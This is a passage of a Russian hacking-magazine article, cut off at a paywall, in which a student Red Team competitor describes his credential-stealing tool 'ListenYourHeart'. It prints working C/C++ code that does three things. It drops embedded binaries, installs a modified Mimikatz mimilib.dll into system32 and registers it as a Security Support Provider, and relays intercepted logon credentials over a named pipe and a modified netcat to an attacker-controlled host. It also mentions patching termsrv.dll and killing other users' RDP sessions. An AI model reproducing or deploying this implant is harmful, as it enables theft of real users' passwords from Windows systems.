Содержание статьи
В 2024 году проходила всероссийская студенческая кибербитва, в которой мне посчастливилось участвовать в составе команды Team8.
Тогда нам удалось одержать победу, и сейчас я хочу рассказать об одной из составляющих подготовки к соревнованиям. А именно о создании offensive tools — утилит, упрощающих жизнь участникам Red Team.
Немного поковыряв Standoff, я взял на заметку несколько моментов, которые постарался учесть в своей программе:
- частое использование утилит, связанных с добыванием учетных данных в системе (например, Mimikatz);
- периодические конфликты между участниками за общие ресурсы (в основном RDP-доступ к удаленному хосту), поскольку инфраструктура одна на всех.
Программа писалась за десять дней до соревнований, поэтому, возможно, некоторые решения покажутся тебе не совсем элегантными. Но в условиях цейтнота получилось то, что получилось.
[ WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
]ListenYourHeart
Основная функция этой утилиты — перехват и ретрансляция на удаленный хост учетных данных пользователей в реальном времени, а также организация противодействия (не выходящего за рамки приличия) пользователям из других команд Red Team.
Поскольку разработка программы имела жесткое ограничение по времени, целесообразно было обратиться к готовым опенсорсным решениям в этой области, что я и сделал.

Программа состоит из пяти модулей:
- LyH.cpp — основной модуль, выполняющий подготовительные операции;
- mimilib.dll — модифицированный secuirty support provider из утилиты Mimikatz, перехватывающий учетные данные пользователя;
- mefcat.exe — модифицированный netcat, передающий учетные данные пользователя на удаленный хост;
-
PatchTermSrv.exe — скрипт, который патчит
termsrv.
, чтобы появилась возможность создавать множество сеансов RDP на одной и той же машине;dll - KoH.bat — скрипт, автоматически отключающий активные сеансы RDP.
Инициализация
Чтобы начать работу, программа должна быть обеспечена необходимым окружением. Этим занимается класс dropp3r
из модуля LyH.
. Dropp3r
создает папку в корне диска C:
с именем temp
, выгружает файлы, зашитые в исполняемый файл программы, с использованием механизма ресурсов, а также регистрирует Security Support Provider в системе:
class dropp3r {public: dropp3r() = default; int createTempDirectory(); int dropRelations(); int loadProvider();};// Выгрузка необходимых инструментов и зависимостейint dropp3r::dropRelations() { const std::string files[] = { "patchTerm.exe"s, "KoH.bat"s, "nc6.exe"s }; for (int i = 1; i < 4; i++) { HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(i), RT_RCDATA); if (!hRes) return ERR_NOT_FOUND; HGLOBAL hData = LoadResource(NULL, hRes); if (!hData) return RESOURCE_NOT_LOAD; void* pData = LockResource(hData); DWORD size = SizeofResource(NULL, hRes); std::string outPath = PATH + "\\"s + files[i - 1]; std::ofstream out(outPath, std::ios::binary | std::ios::out); if (!out) return NO_CREATE_FILE; out.write(static_cast<const char*>(pData), size); out.close(); } return 0;}// Выгрузка и регистрация Security Support Provider в системеint dropp3r::loadProvider() { HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(7), RT_RCDATA); if (!hRes) return ERR_NOT_FOUND; HGLOBAL hLoadedResource = LoadResource(NULL, hRes); if (!hLoadedResource) return RESOURCE_NOT_LOAD; void* pMim = LockResource(hLoadedResource); DWORD size = SizeofResource(NULL, hRes); LPWSTR packagePath = (LPWSTR)TEXT("c:\\windows\\system32\\mimilib.dll"); SECURITY_PACKAGE_OPTIONS spo = {}; HANDLE hMimilib = CreateFileW(packagePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD wrtn = 0; WriteFile(hMimilib, (LPCVOID)pMim,size, &wrtn, NULL); CloseHandle(hMimilib); std::cout<<"[dropp3r] Trying to add security package . . .\n"; SECURITY_STATUS ss = AddSecurityPackageW(packagePath, &spo); if (ss != SEC_E_OK) { if (ss == SEC_E_SECPKG_NOT_FOUND) { std::cout<<"[dropp3r] can't find mimilib [-]\n"; return ERR_NOT_FOUND; } else { std::cout << "[dropp3r] FAILED! [-]\n"; return ERROR; } } else { std::cout << "[dropp3r] SUCCESS! [+]\n"; } return 0;}
www
Для более глубокого погружения в тему, связанную с SSP/AP, советую прочитать статью «Поставщик небезопасности. Как Windows раскрывает пароль пользователя».
Создание канала передачи данных

После создания окружения необходимо организовать канал передачи данных. В этом процессе участвуют три элемента:
- SecuritySupportProvider, который передает данные в сыром виде;
- mefcat (модифицированный netcat), который находится на стороне жертвы, получает напрямую от SSP креды пользователя и передает их на удаленный хост;
- netcat на стороне атакующего, принимающий креды от mefcat.
Сервер
Для связывания mefcat с SSP я выбрал именованные пайпы, а также Windows-события (Windows Events). И вот почему:
- pipe — достаточно надежный канал передачи данных. При возникновении ошибок их можно легко отследить и локализовать;
- глобальные события отлично подходят для синхронизации процессов.
Для начала необходимо установить соединение с удаленным хостом — получить сокет для взаимодействия с ним. Этим занимается класс Listen3r
из модуля LyH.
. Единственная его функция — создание процесса mefcat
с переданным адресом удаленной машины.
LyH.cpp
int listen3r::buildChannel(std::string IP,std::string PORT) { // ... std::string commandLine ="c:\\windows\\system32\\cmd.exe /c "s + PATH + "nc6.exe "s + IP + " "s + PORT; // ... if (CreateProcessA(NULL, (LPSTR)(commandLine.c_str()), NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi)) { SleepEx(5000, FALSE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else{ // ...
Затем, после получения сокета, соединяем mefcat
с mimilib.
.
mefcat.c
// Название именованного канала, через который будут общаться SSP и mefcat#define PIPE_NAME L"\\\\.\\pipe\\communicate"DWORD procCommunicate() { BOOL err = 0; // Создаем глобальное событие, указывающее нашему SSP, что mefcat готов к работе hEvent = CreateEventW(NULL,TRUE,FALSE,L"Global\\active"); if (hEvent == NULL) { DWORD err = GetLastError(); // Если событие уже создано, то получаем его handle if (err == ERROR_ALREADY_EXISTS) { hEvent = OpenEventW(EVENT_ALL_ACCESS, FALSE, L"Global\\active"); if (hEvent == NULL) { printf("Cannot create|open event. exiting...\n"); exit(-1); } } }/* Cоздаем именованный канал передачи данных. Здесь mefcat выступает в роли сервера, который создает именованный pipe и ждет подключения от SSP */ hpPass = CreateNamedPipeW( PIPE_NAME, PIPE_ACCESS_DUPLEX , PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE |PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); if (hpPass == INVALID_HANDLE_VALUE) { printf("Error creating named pipe: %d\n", GetLastError()); return 1; } // Устанавливаем событие в сигнальное состояние (говорим SSP, что мы готовы к работе) SetEvent(hEvent);waitConnect: printf("Zetting for a cl13nt to c0nn3ct...\n"); // Ожидаем подключения к нашему каналу SSP if (ConnectNamedPipe(hpPass, NULL) != TRUE && GetLastError() != ERROR_PIPE_CONNECTED) { printf("Error connecting to communicate channel: %d\n", GetLastError()); goto waitConnect; } printf("Client connected.\n"); // После подключения ожидаем получения учетных данных от SSP while (1) { if (err) exit(1); char buf[1024] = { 0 }; DWORD bytesRead; DWORD bytesWritten; // Получаем данные от SSP if (ReadFile(hpPass, buf, sizeof(buf), &bytesRead, NULL)) { printf("sending the leaked info to the host. . .\n");/* Отправляем учетные данные на удаленный хост netfd — дескриптор сокета, созданный mefcat при подключении к удаленному хосту */ if (send(netfd, buf, bytesRead, 0) == SOCKET_ERROR) { // Если удаленный хост закрыл соединение, то выходим if (WSAGetLastError() == WSAECONNRESET || WSAGetLastError() == WSAECONNABORTED) { printf("remote host disconnected. . .\n"); err = 1; } } } else { if (GetLastError() == ERROR_BROKEN_PIPE) { // Закрываем текущее соединение, переподключаем listener DisconnectNamedPipe(hpPass); hpPass = NULL; printf("PIPE HAS BROKEN goto up :(\n"); goto waitConnect; } } } return 0;}
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее